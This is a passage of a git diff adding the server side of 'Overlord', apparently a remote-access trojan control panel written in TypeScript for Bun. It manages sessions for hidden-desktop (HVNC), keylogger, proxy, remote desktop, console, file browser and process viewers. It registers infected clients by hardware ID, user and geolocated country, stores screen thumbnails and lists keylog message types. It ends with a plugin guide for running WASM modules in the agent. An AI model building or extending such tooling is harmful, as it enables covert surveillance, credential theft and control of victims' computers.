s.clientId === clientId, + ); +} + +export function getAllConsoleSessions(): Map { + return consoleSessions; +} + +export function addRdSession(session: RemoteDesktopViewer): void { + rdSessions.set(session.id, session); +} + +export function getRdSession( + sessionId: string, +): RemoteDesktopViewer | undefined { + return rdSessions.get(sessionId); +} + +export function deleteRdSession(sessionId: string): boolean { + return rdSessions.delete(sessionId); +} + +export function getRdSessionsByClient(clientId: string): RemoteDesktopViewer[] { + return Array.from(rdSessions.values()).filter((s) => s.clientId === clientId); +} + +export function getAllRdSessions(): Map { + return rdSessions; +} + +// ==================== HVNC SESSION MANAGEMENT ==================== + +export function addHvncSession(session: RemoteDesktopViewer): void { + hvncSessions.set(session.id, session); +} + +export function getHvncSession( + sessionId: string, +): RemoteDesktopViewer | undefined { + return hvncSessions.get(sessionId); +} + +export function deleteHvncSession(sessionId: string): boolean { + return hvncSessions.delete(sessionId); +} + +export function getHvncSessionsByClient(clientId: string): RemoteDesktopViewer[] { + return Array.from(hvncSessions.values()).filter((s) => s.clientId === clientId); +} + +export function getAllHvncSessions(): Map { + return hvncSessions; +} + +export function getHvncSessionCount(): number { + return hvncSessions.size; +} + +// ==================== FILE BROWSER SESSION MANAGEMENT ==================== + +export function addFileBrowserSession(session: FileBrowserViewer): void { + fileBrowserSessions.set(session.id, session); +} + +export function getFileBrowserSession( + sessionId: string, +): FileBrowserViewer | undefined { + return fileBrowserSessions.get(sessionId); +} + +export function deleteFileBrowserSession(sessionId: string): boolean { + return fileBrowserSessions.delete(sessionId); +} + +export function getFileBrowserSessionsByClient( + clientId: string, +): FileBrowserViewer[] { + return Array.from(fileBrowserSessions.values()).filter( + (s) => s.clientId === clientId, + ); +} + +export function getAllFileBrowserSessions(): Map { + return fileBrowserSessions; +} + +export function addProcessSession(session: ProcessViewer): void { + processSessions.set(session.id, session); +} + +export function getProcessSession( + sessionId: string, +): ProcessViewer | undefined { + return processSessions.get(sessionId); +} + +export function deleteProcessSession(sessionId: string): boolean { + return processSessions.delete(sessionId); +} + +export function getProcessSessionsByClient(clientId: string): ProcessViewer[] { + return Array.from(processSessions.values()).filter( + (s) => s.clientId === clientId, + ); +} + +export function getAllProcessSessions(): Map { + return processSessions; +} + +export function addNotificationSession(session: NotificationsViewer): void { + notificationSessions.set(session.id, session); +} + +export function deleteNotificationSession(sessionId: string): boolean { + return notificationSessions.delete(sessionId); +} + +export function getAllNotificationSessions(): Map { + return notificationSessions; +} + +export function getConsoleSessionCount(): number { + return consoleSessions.size; +} + +export function getRdSessionCount(): number { + return rdSessions.size; +} + +export function getFileBrowserSessionCount(): number { + return fileBrowserSessions.size; +} + +export function getProcessSessionCount(): number { + return processSessions.size; +} + +export function getNotificationSessionCount(): number { + return notificationSessions.size; +} + +export function safeSendViewer( + ws: ServerWebSocket, + payload: any, +): boolean { + try { + ws.send(JSON.stringify(payload)); + return true; + } catch (err) { + return false; + } +} + +export function safeSendViewerFrame( + ws: ServerWebSocket, + bytes: Uint8Array, + header?: any, +): number { + try { + const meta = JSON.stringify(header || {}); + const metaBytes = new TextEncoder().encode(meta); + const metaLength = new Uint8Array(4); + const view = new DataView(metaLength.buffer); + view.setUint32(0, metaBytes.length, false); + const buf = new Uint8Array(4 + metaBytes.length + bytes.length); + buf.set(metaLength, 0); + buf.set(metaBytes, 4); + buf.set(bytes, 4 + metaBytes.length); + ws.send(buf); + return buf.length; + } catch (err) { + return 0; + } +} + +export function addKeyloggerSession(session: KeyloggerViewer): void { + keyloggerSessions.set(session.id, session); +} + +export function getKeyloggerSession( + sessionId: string, +): KeyloggerViewer | undefined { + return keyloggerSessions.get(sessionId); +} + +export function deleteKeyloggerSession(sessionId: string): boolean { + return keyloggerSessions.delete(sessionId); +} + +export function getKeyloggerSessionsByClient( + clientId: string, +): KeyloggerViewer[] { + return Array.from(keyloggerSessions.values()).filter( + (s) => s.clientId === clientId, + ); +} + +export function getAllKeyloggerSessions(): Map { + return keyloggerSessions; +} + +export function addProxySession(session: KeyloggerViewer): void { + proxySessions.set(session.id, session); +} + +export function getProxySession( + sessionId: string, +): KeyloggerViewer | undefined { + return proxySessions.get(sessionId); +} + +export function deleteProxySession(sessionId: string): boolean { + return proxySessions.delete(sessionId); +} + +export function getProxySessionsByClient( + clientId: string, +): KeyloggerViewer[] { + return Array.from(proxySessions.values()).filter( + (s) => s.clientId === clientId, + ); +} + +export function getAllProxySessions(): Map { + return proxySessions; +} diff --git a/Overlord-Server/src/sessions/types.ts b/Overlord-Server/src/sessions/types.ts new file mode 100644 index 0000000..c8313a2 --- /dev/null +++ b/Overlord-Server/src/sessions/types.ts @@ -0,0 +1,63 @@ +import type { ServerWebSocket } from "bun"; +import type { ClientRole } from "../types"; + +export type SocketRole = + | ClientRole + | "console_viewer" + | "rd_viewer" + | "file_browser_viewer" + | "process_viewer" + | "notifications_viewer" + | "keylogger_viewer" + | "proxy_viewer"; + +export type SocketData = { + role: SocketRole; + clientId: string; + sessionId?: string; + ip?: string; + userRole?: string; + wasKnown?: boolean; + autoTasksRan?: boolean; +}; + +export type ConsoleSession = { + id: string; + clientId: string; + viewer: ServerWebSocket; + createdAt: number; +}; + +export type RemoteDesktopViewer = { + id: string; + clientId: string; + viewer: ServerWebSocket; + createdAt: number; +}; + +export type FileBrowserViewer = { + id: string; + clientId: string; + viewer: ServerWebSocket; + createdAt: number; +}; + +export type ProcessViewer = { + id: string; + clientId: string; + viewer: ServerWebSocket; + createdAt: number; +}; + +export type NotificationsViewer = { + id: string; + viewer: ServerWebSocket; + createdAt: number; +}; + +export type KeyloggerViewer = { + id: string; + clientId: string; + viewer: ServerWebSocket; + createdAt: number; +}; diff --git a/Overlord-Server/src/styles.css b/Overlord-Server/src/styles.css new file mode 100644 index 0000000..abd2465 --- /dev/null +++ b/Overlord-Server/src/styles.css @@ -0,0 +1,3 @@ +@import "tailwindcss"; +@source "../public"; +@source "../src/server"; diff --git a/Overlord-Server/src/thumbnails.ts b/Overlord-Server/src/thumbnails.ts new file mode 100644 index 0000000..2f55395 --- /dev/null +++ b/Overlord-Server/src/thumbnails.ts @@ -0,0 +1,49 @@ +const thumbnails = new Map(); +const latestFrames = new Map(); +const thumbnailRequests = new Map(); + +export function setThumbnail(id: string, dataUrl: string) { + thumbnails.set(id, dataUrl); +} + +export function getThumbnail(id: string) { + return thumbnails.get(id) ?? null; +} + +export function clearThumbnail(id: string) { + thumbnails.delete(id); + latestFrames.delete(id); + thumbnailRequests.delete(id); +} + +export function setLatestFrame(id: string, bytes: Uint8Array, format: string) { + latestFrames.set(id, { bytes, format }); +} + +export function generateThumbnail(id: string): boolean { + const frameData = latestFrames.get(id); + if (!frameData) { + return false; + } + + const { bytes, format } = frameData; + const b64 = Buffer.from(bytes).toString("base64"); + const mime = format === "webp" ? "image/webp" : "image/jpeg"; + thumbnails.set(id, `data:${mime};base64,${b64}`); + return true; +} + +export function markThumbnailRequested(id: string) { + thumbnailRequests.set(id, Date.now()); +} + +export function consumeThumbnailRequest(id: string, windowMs = 5000): boolean { + const ts = thumbnailRequests.get(id); + if (!ts) return false; + if (Date.now() - ts > windowMs) { + thumbnailRequests.delete(id); + return false; + } + thumbnailRequests.delete(id); + return true; +} diff --git a/Overlord-Server/src/types.ts b/Overlord-Server/src/types.ts new file mode 100644 index 0000000..181443c --- /dev/null +++ b/Overlord-Server/src/types.ts @@ -0,0 +1,44 @@ +export type ClientRole = "client" | "viewer"; + +export type ClientInfo = { + id: string; + lastSeen: number; + role: ClientRole; + ws: any; + lastPingSent?: number; + lastPingNonce?: number; + online?: boolean; + hwid?: string; + ip?: string; + host?: string; + os?: string; + arch?: string; + version?: string; + user?: string; + monitors?: number; + monitorInfo?: { width: number; height: number }[]; + country?: string; + pingMs?: number; +}; + +export type ListFilters = { + page: number; + pageSize: number; + search: string; + sort: string; + statusFilter?: string; + osFilter?: string; +}; + +export type ListItem = ClientInfo & { + online: boolean; + thumbnail: string | null; +}; + +export type ListResult = { + page: number; + pageSize: number; + total: number; + online: number; + items: ListItem[]; +}; diff --git a/Overlord-Server/src/users.ts b/Overlord-Server/src/users.ts new file mode 100644 index 0000000..22a8551 --- /dev/null +++ b/Overlord-Server/src/users.ts @@ -0,0 +1,273 @@ +import { Database } from "bun:sqlite"; +import { resolve } from "path"; +import { logger } from "./logger"; +import { ensureDataDir } from "./paths"; +import { getConfig } from "./config"; + +const dataDir = ensureDataDir(); +const dbPath = resolve(dataDir, "overlord.db"); +const db = new Database(dbPath); + +export type UserRole = "admin" | "operator" | "viewer"; + +export interface User { + id: number; + username: string; + password_hash: string; + role: UserRole; + created_at: number; + last_login: number | null; + created_by: string | null; + must_change_password: number; +} + +export interface UserInfo { + id: number; + username: string; + role: UserRole; + created_at: number; + last_login: number | null; + created_by: string | null; +} + +db.exec(` + CREATE TABLE IF NOT EXISTS users ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + username TEXT UNIQUE NOT NULL, + password_hash TEXT NOT NULL, + role TEXT NOT NULL CHECK(role IN ('admin', 'operator', 'viewer')), + created_at INTEGER NOT NULL, + last_login INTEGER, + created_by TEXT, + must_change_password INTEGER DEFAULT 0 + ) +`); + +try { + db.exec( + `ALTER TABLE users ADD COLUMN must_change_password INTEGER DEFAULT 0`, + ); + logger.info("[users] Added must_change_password column to existing database"); +} catch (err: any) { + if (!err.message?.includes("duplicate column name")) { + logger.error("[users] Migration error:", err); + } +} + +const userCount = db.prepare("SELECT COUNT(*) as count FROM users").get() as { + count: number; +}; +if (userCount.count === 0) { + const config = getConfig(); + const initialUsername = (config.auth.username || "admin").trim() || "admin"; + const initialPassword = config.auth.password; + + logger.info("[users] No users found, creating default admin account"); + const defaultPassword = await Bun.password.hash(initialPassword, { + algorithm: "bcrypt", + cost: 10, + }); + + db.prepare( + "INSERT INTO users (username, password_hash, role, created_at, created_by, must_change_password) VALUES (?, ?, ?, ?, ?, ?)", + ).run(initialUsername, defaultPassword, "admin", Date.now(), "system", 1); + + const createdUser = db + .prepare("SELECT * FROM users WHERE username = ?") + .get(initialUsername) as User | undefined; + logger.info( + "[users] Default admin created with must_change_password =", + createdUser?.must_change_password, + ); + + logger.info(`[users] Initial admin account created (username: ${initialUsername})`); + logger.warn( + "[users] ⚠️ SECURITY WARNING: Rotate the bootstrap password after first login. If it was auto-generated, retrieve it from data/save.json.", + ); +} + +export function getUserById(id: number): User | null { + const user = db.prepare("SELECT * FROM users WHERE id = ?").get(id) as + | User + | undefined; + return user || null; +} + +export function getUserByUsername(username: string): User | null { + const user = db + .prepare("SELECT * FROM users WHERE username = ?") + .get(username) as User | undefined; + return user || null; +} + +export function listUsers(): UserInfo[] { + const users = db + .prepare( + "SELECT id, username, role, created_at, last_login, created_by FROM users ORDER BY created_at DESC", + ) + .all() as UserInfo[]; + return users; +} + +export async function createUser( + username: string, + password: string, + role: UserRole, + createdBy: string, +): Promise<{ success: boolean; error?: string; userId?: number }> { + if (!username || username.length < 3 || username.length > 32) { + return { + success: false, + error: "Username must be between 3 and 32 characters", + }; + } + + if (!/^[a-zA-Z0-9_-]+$/.test(username)) { + return { + success: false, + error: + "Username can only contain letters, numbers, hyphens, and underscores", + }; + } + + if (!password || password.length < 6) { + return { success: false, error: "Password must be at least 6 characters" }; + } + + const existing = getUserByUsername(username); + if (existing) { + return { success: false, error: "Username already exists" }; + } + + try { + const passwordHash = await Bun.password.hash(password, { + algorithm: "bcrypt", + cost: 10, + }); + + const result = db + .prepare( + "INSERT INTO users (username, password_hash, role, created_at, created_by) VALUES (?, ?, ?, ?, ?)", + ) + .run(username, passwordHash, role, Date.now(), createdBy); + + return { success: true, userId: result.lastInsertRowid as number }; + } catch (err: any) { + logger.error("[users] Create user error:", err); + return { success: false, error: err.message || "Failed to create user" }; + } +} + +export async function updateUserPassword( + userId: number, + newPassword: string, +): Promise<{ success: boolean; error?: string }> { + if (!newPassword || newPassword.length < 6) { + return { success: false, error: "Password must be at least 6 characters" }; + } + + try { + const passwordHash = await Bun.password.hash(newPassword, { + algorithm: "bcrypt", + cost: 10, + }); + + db.prepare( + "UPDATE users SET password_hash = ?, must_change_password = 0 WHERE id = ?", + ).run(passwordHash, userId); + return { success: true }; + } catch (err: any) { + console.error("[users] Update password error:", err); + return { + success: false, + error: err.message || "Failed to update password", + }; + } +} + +export function updateUserRole( + userId: number, + newRole: UserRole, +): { success: boolean; error?: string } { + try { + db.prepare("UPDATE users SET role = ? WHERE id = ?").run(newRole, userId); + return { success: true }; + } catch (err: any) { + console.error("[users] Update role error:", err); + return { success: false, error: err.message || "Failed to update role" }; + } +} + +export function deleteUser(userId: number): { + success: boolean; + error?: string; +} { + const admins = db + .prepare("SELECT COUNT(*) as count FROM users WHERE role = 'admin'") + .get() as { count: number }; + const user = getUserById(userId); + + if (user?.role === "admin" && admins.count <= 1) { + return { success: false, error: "Cannot delete the last admin user" }; + } + + try { + db.prepare("DELETE FROM users WHERE id = ?").run(userId); + return { success: true }; + } catch (err: any) { + console.error("[users] Delete user error:", err); + return { success: false, error: err.message || "Failed to delete user" }; + } +} + +export function updateLastLogin(userId: number): void { + db.prepare("UPDATE users SET last_login = ? WHERE id = ?").run( + Date.now(), + userId, + ); +} + +export async function verifyPassword( + username: string, + password: string, +): Promise { + const user = getUserByUsername(username); + if (!user) return null; + + const isValid = await Bun.password.verify(password, user.password_hash); + if (!isValid) return null; + + updateLastLogin(user.id); + return user; +} + +export function canManageUsers(role: UserRole): boolean { + return role === "admin"; +} + +export function canControlClients(role: UserRole): boolean { + return role === "admin" || role === "operator"; +} + +export function canViewClients(role: UserRole): boolean { + return true; +} + +export function canViewAuditLogs(role: UserRole): boolean { + return role === "admin"; +} + +export function hasPermission(role: UserRole, permission: string): boolean { + switch (permission) { + case "users:manage": + return canManageUsers(role); + case "clients:control": + return canControlClients(role); + case "clients:view": + return canViewClients(role); + case "audit:view": + return canViewAuditLogs(role); + default: + return false; + } +} diff --git a/Overlord-Server/src/version.ts b/Overlord-Server/src/version.ts new file mode 100644 index 0000000..d5cddc3 --- /dev/null +++ b/Overlord-Server/src/version.ts @@ -0,0 +1 @@ +export const SERVER_VERSION = "1.0.0"; diff --git a/Overlord-Server/src/wsHandlers.test.ts b/Overlord-Server/src/wsHandlers.test.ts new file mode 100644 index 0000000..0c2fd1f --- /dev/null +++ b/Overlord-Server/src/wsHandlers.test.ts @@ -0,0 +1,72 @@ +import { describe, expect, test } from "bun:test"; +import { decodeMessage } from "./protocol"; +import { metrics } from "./metrics"; +import { handlePong, sendPingRequest } from "./wsHandlers"; + +type MockWs = { sent: Uint8Array[]; send: (msg: Uint8Array) => void }; + +describe("wsHandlers ping/pong", () => { + test("sendPingRequest sends a ping once per outstanding nonce", () => { + const ws: MockWs = { + sent: [], + send(msg) { + this.sent.push(msg); + }, + }; + const info = { + id: "client-1", + role: "client", + ws, + lastSeen: Date.now(), + } as any; + + sendPingRequest(info, ws, "test"); + expect(ws.sent.length).toBe(1); + const payload = decodeMessage(ws.sent[0]) as any; + expect(payload.type).toBe("ping"); + expect(typeof payload.ts).toBe("number"); + + sendPingRequest(info, ws, "test"); + expect(ws.sent.length).toBe(1); + }); + + test("handlePong clears nonce and records ping", () => { + metrics.reset(); + const ws: MockWs = { + sent: [], + send(msg) { + this.sent.push(msg); + }, + }; + const now = Date.now(); + const info = { + id: "client-2", + role: "client", + ws, + lastSeen: now, + lastPingSent: now - 10, + lastPingNonce: 1234, + } as any; + + handlePong(info, { type: "pong", ts: 1234 } as any); + expect(info.lastPingNonce).toBeUndefined(); + expect(typeof info.pingMs).toBe("number"); + const snapshot = metrics.getSnapshot(); + expect(snapshot.ping.count).toBeGreaterThan(0); + }); + + test("handlePong ignores mismatched nonces", () => { + const now = Date.now(); + const info = { + id: "client-3", + role: "client", + ws: { sent: [], send() {} }, + lastSeen: now, + lastPingSent: now - 10, + lastPingNonce: 2222, + } as any; + + handlePong(info, { type: "pong", ts: 3333 } as any); + expect(info.lastPingNonce).toBe(2222); + }); +}); diff --git a/Overlord-Server/src/wsHandlers.ts b/Overlord-Server/src/wsHandlers.ts new file mode 100644 index 0000000..389ab50 --- /dev/null +++ b/Overlord-Server/src/wsHandlers.ts @@ -0,0 +1,165 @@ +import geoip from "geoip-lite"; +import { encodeMessage, decodeMessage, WireMessage } from "./protocol"; +import { Buffer } from "node:buffer"; +import { ClientInfo } from "./types"; +import { + consumeThumbnailRequest, + getThumbnail, + generateThumbnail, + setLatestFrame, +} from "./thumbnails"; +import { upsertClientRow } from "./db"; +import { metrics } from "./metrics"; + +const MAX_PING_RTT_MS = 15_000; + +export function handleHello( + info: ClientInfo, + payload: WireMessage, + ws: any, + ip?: string, +) { + if (ip) { + info.ip = ip; + } + info.hwid = (payload as any).hwid as string | undefined; + info.host = payload.host; + info.os = payload.os; + info.arch = payload.arch; + info.version = payload.version; + info.user = payload.user; + info.monitors = payload.monitors; + info.monitorInfo = (payload as any).monitorInfo || info.monitorInfo; + const geo = ip ? geoip.lookup(ip) : undefined; + const countryRaw = + geo?.country || (payload as any).country || info.country || "ZZ"; + const country = /^[A-Z]{2}$/i.test(countryRaw) + ? countryRaw.toUpperCase() + : "ZZ"; + info.country = country; + info.lastSeen = Date.now(); + info.online = true; + + upsertClientRow({ + id: info.id, + hwid: info.hwid, + role: info.role, + ip: info.ip, + host: info.host, + os: info.os, + arch: info.arch, + version: info.version, + user: info.user, + monitors: info.monitors, + country: info.country, + lastSeen: info.lastSeen, + online: 1, + }); + + sendPingRequest(info, ws, "hello"); + +} + +export function handlePing(info: ClientInfo, payload: WireMessage, ws: any) { + //console.log(`[ping] from client=${info.id} ts=${payload.ts ?? ""}`); + info.lastSeen = Date.now(); + info.online = true; + upsertClientRow({ + id: info.id, + lastSeen: info.lastSeen, + online: 1, + }); + ws.send(encodeMessage({ type: "pong", ts: payload.ts || Date.now() })); + sendPingRequest(info, ws, "client_ping"); +} + +export function sendPingRequest(info: ClientInfo, ws: any, reason: string) { + const now = Date.now(); + if ( + info.lastPingNonce !== undefined && + info.lastPingSent && + now-info.lastPingSent < MAX_PING_RTT_MS + ) { + return; + } + const nonce = now + Math.floor(Math.random() * 1000); + info.lastPingSent = now; + info.lastPingNonce = nonce; + //console.log(`[ping] send ping to client=${info.id} reason=${reason} nonce=${nonce}`); + ws.send(encodeMessage({ type: "ping", ts: nonce })); +} + +export function handlePong(info: ClientInfo, payload: WireMessage) { + const tsRaw = (payload as any).ts; + const ts = typeof tsRaw === "number" ? tsRaw : Number(tsRaw); + if (!Number.isFinite(ts)) { + return; + } + + const now = Date.now(); + const maxRttMs = MAX_PING_RTT_MS; + const expectedNonce = info.lastPingNonce; + if (expectedNonce === undefined) { + return; + } + if (ts !== expectedNonce) { + return; + } + if (!info.lastPingSent) { + return; + } + + const rtt = now - info.lastPingSent; + + if (rtt >= 0 && rtt < maxRttMs) { + info.lastSeen = Date.now(); + info.online = true; + info.pingMs = rtt; + upsertClientRow({ + id: info.id, + pingMs: info.pingMs, + lastSeen: info.lastSeen, + online: 1, + }); + + metrics.recordPing(rtt); + info.lastPingNonce = undefined; + } else { + } +} + +export function handleFrame(info: ClientInfo, payload: any) { + const bytes = payload.data as unknown as Uint8Array; + const header = (payload as any).header; + const allowedFormats = ["jpeg", "jpg", "webp"]; + const fmt = String(header?.format || "").toLowerCase(); + const safeFormat = allowedFormats.includes(fmt) ? fmt : ""; + + metrics.recordBytesReceived(bytes.length); + + let sentToViewers = false; + try { + const globalAny: any = globalThis as any; + if (header?.hvnc) { + if (globalAny.__hvncBroadcast) { + sentToViewers = globalAny.__hvncBroadcast(info.id, bytes, header); + } + if (sentToViewers) { + return; + } + } else if (globalAny.__rdBroadcast) { + sentToViewers = globalAny.__rdBroadcast(info.id, bytes, header); + if (sentToViewers) { + return; + } + } + } catch {} + + if (safeFormat) { + setLatestFrame(info.id, bytes, safeFormat); + if (consumeThumbnailRequest(info.id) || !getThumbnail(info.id)) { + generateThumbnail(info.id); + } + upsertClientRow({ id: info.id, lastSeen: Date.now(), online: 1 }); + } +} diff --git a/Overlord-Server/src/wsValidation.test.ts b/Overlord-Server/src/wsValidation.test.ts new file mode 100644 index 0000000..90ea6d8 --- /dev/null +++ b/Overlord-Server/src/wsValidation.test.ts @@ -0,0 +1,35 @@ +import { describe, expect, test } from "bun:test"; +import { + ALLOWED_CLIENT_MESSAGE_TYPES, + getMaxPayloadLimit, + getMessageByteLength, + isAllowedClientMessageType, +} from "./wsValidation"; + +describe("wsValidation", () => { + test("allowed client message types include core types", () => { + expect(ALLOWED_CLIENT_MESSAGE_TYPES.has("hello")).toBe(true); + expect(ALLOWED_CLIENT_MESSAGE_TYPES.has("ping")).toBe(true); + expect(ALLOWED_CLIENT_MESSAGE_TYPES.has("frame")).toBe(true); + }); + + test("unknown client message types are rejected", () => { + expect(isAllowedClientMessageType("not_a_real_type")).toBe(false); + }); + + test("getMessageByteLength handles string and binary", () => { + const textLen = getMessageByteLength("hello"); + const buffer = new Uint8Array([1, 2, 3, 4]); + const arrayBuf = buffer.buffer; + + expect(textLen).toBe(5); + expect(getMessageByteLength(buffer)).toBe(4); + expect(getMessageByteLength(arrayBuf)).toBe(4); + }); + + test("getMaxPayloadLimit uses client limit when role is client", () => { + expect(getMaxPayloadLimit("client", 10, 1)).toBe(10); + expect(getMaxPayloadLimit("viewer", 10, 1)).toBe(1); + expect(getMaxPayloadLimit(undefined, 10, 1)).toBe(1); + }); +}); diff --git a/Overlord-Server/src/wsValidation.ts b/Overlord-Server/src/wsValidation.ts new file mode 100644 index 0000000..9e07f1e --- /dev/null +++ b/Overlord-Server/src/wsValidation.ts @@ -0,0 +1,50 @@ +export type SocketRole = "client" | "viewer" | "console_viewer" | "rd_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "proxy_viewer" | "notifications_viewer"; + +export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([ + "hello", + "ping", + "pong", + "frame", + "status", + "console_output", + "file_list_result", + "file_download", + "file_upload_result", + "file_read_result", + "file_search_result", + "command_result", + "screenshot_result", + "command_progress", + "process_list_result", + "script_result", + "plugin_event", + "notification", + "keylog_file_list", + "keylog_file_content", + "keylog_clear_result", + "keylog_delete_result", +]); + +export function isAllowedClientMessageType(type: string): boolean { + return ALLOWED_CLIENT_MESSAGE_TYPES.has(type); +} + +export function getMessageByteLength( + message: string | ArrayBuffer | Uint8Array, +): number { + if (typeof message === "string") { + return new TextEncoder().encode(message).length; + } + if (message instanceof ArrayBuffer) { + return message.byteLength; + } + return message.byteLength; +} + +export function getMaxPayloadLimit( + role: SocketRole | undefined, + clientLimit: number, + viewerLimit: number, +): number { + return role === "client" ? clientLimit : viewerLimit; +} diff --git a/Overlord-Server/tailwind.config.js b/Overlord-Server/tailwind.config.js new file mode 100644 index 0000000..fd55f9f --- /dev/null +++ b/Overlord-Server/tailwind.config.js @@ -0,0 +1,12 @@ +/** @type {import('tailwindcss').Config} */ +export default { + content: ["./public/**/*.html", "./public/assets/**/*.js"], + theme: { + extend: { + fontFamily: { + sans: ["Inter", "system-ui", "sans-serif"], + }, + }, + }, + plugins: [], +}; diff --git a/Overlord-Server/tsconfig.json b/Overlord-Server/tsconfig.json new file mode 100644 index 0000000..739460a --- /dev/null +++ b/Overlord-Server/tsconfig.json @@ -0,0 +1,15 @@ +{ + "compilerOptions": { + "target": "ES2022", + "module": "ES2022", + "moduleResolution": "Bundler", + "strict": true, + "noEmit": true, + "esModuleInterop": true, + "forceConsistentCasingInFileNames": true, + "skipLibCheck": true, + "types": ["bun"], + "baseUrl": "./src" + }, + "include": ["src/**/*"] +} diff --git a/PLUGINS.md b/PLUGINS.md new file mode 100644 index 0000000..d18b9e8 --- /dev/null +++ b/PLUGINS.md @@ -0,0 +1,297 @@ +# Overlord Plugins + +This document explains how to build Overlord plugins, how the runtime works, and what you can do from a plugin UI and a WASM module. + +> TL;DR: A plugin is a zip file with 4 files at the root: `.wasm`, `.html`, `.css`, `.js`. Upload it in the Plugins page or drop it in Overlord-Server/plugins. + +## 1) How plugins are structured + +### Required bundle format + +A plugin bundle is a zip file named after the plugin ID: + +``` +.zip +``` + +Inside the zip (root level), these four files are required: + +``` +.wasm +.html +.css +.js +``` + +Example for plugin ID `sample`: + +``` +sample.zip + ├─ sample.wasm + ├─ sample.html + ├─ sample.css + └─ sample.js +``` + +When the server sees `.zip`, it extracts to: + +``` +Overlord-Server/plugins// + ├─ .wasm + ├─ manifest.json + └─ assets/ + ├─ .html + ├─ .css + └─ .js +``` + +The server **generates manifest.json** automatically. You do not need to include a manifest inside the zip. + +### Manifest fields + +The auto-generated manifest looks like: + +``` +{ + "id": "sample", + "name": "sample", + "version": "1.0.0", + "binary": "sample.wasm", + "entry": "sample.html", + "assets": { + "html": "sample.html", + "css": "sample.css", + "js": "sample.js" + } +} +``` + +## 2) Build a WASM plugin (Go WASI) + +The plugin runtime expects a WASI-compatible WebAssembly binary. Go 1.21+ builds work well with the current wazero runtime. + +Build steps (from the plugin folder): + +``` +GOOS=wasip1 GOARCH=wasm go build -o .wasm ./wasm +``` + +There is a working example in: + +- plugin-sample-go/wasm/main.go + +## 3) Install & open a plugin + +### Install / upload + +- Use the UI at /plugins to upload the zip +- Or drop `.zip` into Overlord-Server/plugins and restart the server + +### Open the UI + +The plugin UI is served from: + +``` +/plugins/?clientId= +``` + +Your HTML should load its JS/CSS from `/plugins//assets/`. + +## 4) Runtime: how events flow + +Overlord plugins have **two parts**: + +1. **UI (HTML/CSS/JS)** — Runs in the browser and can call server APIs or open WebSockets. +2. **WASM module** — Runs in the agent (client) process via wazero. + +### UI → agent (plugin event) + +From your UI JS, you can send an event to a plugin on a client: + +``` +POST /api/clients//plugins//event +{ + "event": "ui_message", + "payload": { "message": "hello" } +} +``` + +If the plugin is not loaded yet, the server will: + +- load it on the client +- queue your event +- deliver it when the plugin reports `loaded` + +### Agent → plugin (WASM stdin) + +The agent forwards that event into the WASM plugin over msgpack via stdin. + +The message envelope looks like: + +``` +{ + "type": "event", + "event": "ui_message", + "payload": { ... } +} +``` + +### Plugin → agent (WASM stdout) + +Your WASM can reply by writing msgpack messages to stdout. Two supported types: + +- `type: "event"` → forwarded back to the server as `plugin_event` +- `type: "log"` → logged by the agent + +Examples: + +``` +{ "type": "event", "event": "ready", "payload": "plugin ready" } +{ "type": "log", "payload": "starting capture" } +``` + +### Plugin lifecycle events + +The agent sends lifecycle events to the server: + +- `loaded` on successful load +- `unloaded` when unloaded +- `error` if load or runtime fails + +These update the server-side plugin status and error display. + +> Note: plugin events are **not** pushed back to the plugin UI automatically. If you need UI feedback, call a server API that returns a response to the UI or implement your own polling/WS endpoint. + +## 5) What can plugins do? + +Plugins can do anything **the server already exposes** to authenticated users, such as: + +- start/stop remote desktop +- open a console session +- file browser actions (list, upload, download, edit) +- process listing and kill +- run scripts +- send commands to clients + +This is intentional: plugins **do not modify server code** and are sandboxed by the plugin CSP. + +### Security constraints + +Plugin pages are served with a tight CSP: + +- scripts must be same-origin +- no third‑party JS/CDN +- WebSocket and fetch are allowed to same origin + +That means your plugin JS must be bundled into `.js` and loaded from `/plugins//assets/`. + +### Sandboxed iframe isolation + +Plugin UIs are rendered inside a **sandboxed iframe** to isolate them from the main dashboard. This provides: + +- No access to main app DOM +- No access to main app cookies/localStorage +- No direct access to privileged APIs + +Because of the sandbox, **direct network calls from the plugin are blocked** by CSP. The system injects a small bridge that replaces `window.fetch` and forwards requests to the parent page. + +Practical implications: + +- Use `fetch()` as usual in your plugin JS +- Only the allowed plugin API routes are permitted +- Direct WebSocket usage from the plugin frame is blocked + +If your plugin needs WebSockets (e.g., remote desktop), you must build a parent‑page bridge that opens the WS in the parent and forwards frames into the plugin UI. See the remote desktop section below for the architecture. + +## 6) API surface (what you can call) + +### Plugin management + +- `GET /api/plugins` — list installed plugins +- `POST /api/plugins/upload` — upload zip +- `POST /api/plugins//enable` — enable/disable +- `DELETE /api/plugins/` — remove + +### Per-client plugin runtime + +- `POST /api/clients//plugins//load` +- `POST /api/clients//plugins//event` +- `POST /api/clients//plugins//unload` + +### Useful built-in endpoints + +- `POST /api/clients//command` (input, ping, scripts, etc.) +- `WS /api/clients//rd/ws` (remote desktop) +- `WS /api/clients//console/ws` +- `WS /api/clients//files/ws` +- `WS /api/clients//processes/ws` + +## 7) Building a “pinnacle” plugin (remote desktop class) + +A remote‑desktop‑class plugin typically has: + +1. **A UI page** with a `` and quality controls +2. **A WebSocket** connection to `/api/clients//rd/ws` +3. **Command messages** (`desktop_start`, `desktop_stop`, `desktop_select_display`, etc.) +4. **Binary frame decoding** (JPEG/raw) and drawing into the canvas + +### How it would work (high level) + +1. UI page reads `clientId` from query string +2. JS opens a WebSocket to `/api/clients//rd/ws` +3. UI sends JSON messages: + +``` +{ "type": "desktop_start" } +{ "type": "desktop_select_display", "display": 0 } +{ "type": "desktop_set_quality", "quality": 90, "codec": "jpeg" } +``` + +4. Incoming WS messages contain encoded frames (see `public/assets/remotedesktop.js` for the parsing logic) +5. Draw frames into the canvas and expose controls to the user + +You do **not** need to re-implement the agent capture pipeline. The agent already supports it; your plugin just drives the existing WS endpoint. + +### What you’d write (outline) + +- **HTML**: Canvas + controls +- **JS**: + - parse `clientId` + - open WS + - send desktop commands + - decode frames and draw +- **WASM module** (optional): + - background tasks or message validation + - optional telemetry / state management + +If you want a starting point, the existing remote desktop UI is in: + +- Overlord-Server/public/remotedesktop.html +- Overlord-Server/public/assets/remotedesktop.js + +You can reuse that logic inside your plugin UI with minimal changes. + +## 8) Example: minimal plugin code shape + +### WASM side (Go, message loop) + +- listen on stdin using msgpack +- on `type=init`, send `event=ready` +- on `type=event`, process payload and emit response events + +See: + +- plugin-sample-go/wasm/main.go + +### 